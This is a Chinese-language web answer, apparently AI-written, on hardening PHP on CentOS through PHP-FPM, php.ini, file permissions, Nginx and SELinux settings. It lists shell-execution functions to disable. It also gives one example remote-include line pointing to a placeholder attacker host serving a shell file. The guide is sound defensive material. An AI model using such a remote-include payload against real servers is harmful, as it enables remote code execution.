温馨提示×

CentOS如何配置PHP安全

小樊
46
2026-07-08 03:07:49
栏目: 编程语言

下面从系统层面 + PHP 层面给你一套在 CentOS(7/8/Stream) 上配置 PHP 安全 的实用方案,适用于生产环境。


一、系统层面安全(基础)

1. 使用官方或可靠源安装 PHP

不要直接用 yum install php(版本可能很旧)

CentOS 7 示例(Remi 源)

yum install -y epel-release
yum install -y https://rpms.remirepo.net/enterprise/remi-release-7.rpm
yum install -y yum-utils
yum-config-manager --enable remi-php81
yum install -y php php-fpm php-mysqlnd php-gd php-mbstring php-xml

2. 以非 root 用户运行 PHP

PHP-FPM 推荐配置

; /etc/php-fpm.d/www.conf
user = nginx
group = nginx
listen.owner = nginx
listen.group = nginx

确认:

ps aux | grep php-fpm

3. 限制 PHP-FPM 监听方式

推荐 socket,不推荐 TCP

listen = /run/php-fpm/www.sock
listen.allowed_clients = 127.0.0.1

二、PHP 核心安全配置(php.ini)

路径示例:

/etc/php.ini

1. 关闭危险函数

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,dl,show_source,php_uname

⚠️ 注意:

  • 如果你需要 exec,不要全关
  • 建议只保留业务必须函数

2. 关闭错误回显

display_errors = Off
log_errors = On
error_log = /var/log/php_error.log

防止泄露路径和数据库信息。


3. 关闭文件上传(如不需要)

file_uploads = Off

如需上传:

file_uploads = On
upload_max_filesize = 2M
post_max_size = 2M

4. 限制 PHP 可访问目录(open_basedir)

open_basedir = /var/www/html:/tmp

防止跨目录读取 /etc/passwd 等文件。


5. 关闭全局变量(老版本)

register_globals = Off

(PHP 5.4+ 已移除,但建议确认)


6. 禁止远程文件执行

allow_url_fopen = Off
allow_url_include = Off

防止:

include "http://evil.com/shell.txt";

7. 限制 Session 安全

session.use_strict_mode = 1
session.cookie_httponly = 1
session.cookie_secure = 1   ; HTTPS 必须
session.use_only_cookies = 1

三、PHP-FPM 安全优化

1. 使用独立 pool

/etc/php-fpm.d/

每个站点一个:

[site1]
user = site1
group = site1
listen = /run/php-fpm/site1.sock

2. 限制进程资源

pm = dynamic
pm.max_children = 50
pm.start_servers = 10
pm.min_spare_servers = 5
pm.max_spare_servers = 20

防止资源耗尽。


四、文件与目录权限(非常重要)

1. 网站目录权限

chown -R nginx:nginx /var/www/html
chmod -R 755 /var/www/html

上传目录

chmod 700 uploads

2. 禁止上传目录执行 PHP

Nginx 配置示例

location ~* ^/uploads/.*\.(php|php5|phtml)$ {
    deny all;
}

五、日志与审计

1. PHP 错误日志

touch /var/log/php_error.log
chown nginx:nginx /var/log/php_error.log

2. 系统审计

auditctl -w /var/www/html -p wa -k web_changes

六、SELinux(CentOS 强项)

查看状态:

getenforce

如启用,设置正确上下文:

semanage fcontext -a -t httpd_sys_content_t "/var/www/html(/.*)?"
restorecon -Rv /var/www/html

允许 PHP-FPM 连接网络(如需要):

setsebool -P httpd_can_network_connect 1

七、安全配置检查清单 ✅

  • ✅ PHP 不以 root 运行
  • ✅ disable_functions 已配置
  • ✅ 关闭错误回显
  • ✅ open_basedir 限制
  • ✅ 禁用远程 include
  • ✅ 上传目录不可执行
  • ✅ Session 安全
  • ✅ SELinux 开启

八、推荐生产 PHP 安全模板(精简版)

disable_functions = exec,passthru,shell_exec,system
display_errors = Off
log_errors = On
file_uploads = On
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmp
session.cookie_httponly = 1
session.cookie_secure = 1

如果你愿意,我可以:

  • ✅ 针对 WordPress / Laravel / ThinkPHP 单独给出安全配置
  • ✅ 给你一份 CentOS + Nginx + PHP 安全加固脚本
  • ✅ 帮你审计现有 php.ini 是否安全

只要告诉我你的 CentOS 版本 + PHP 版本 + 使用场景 即可。

0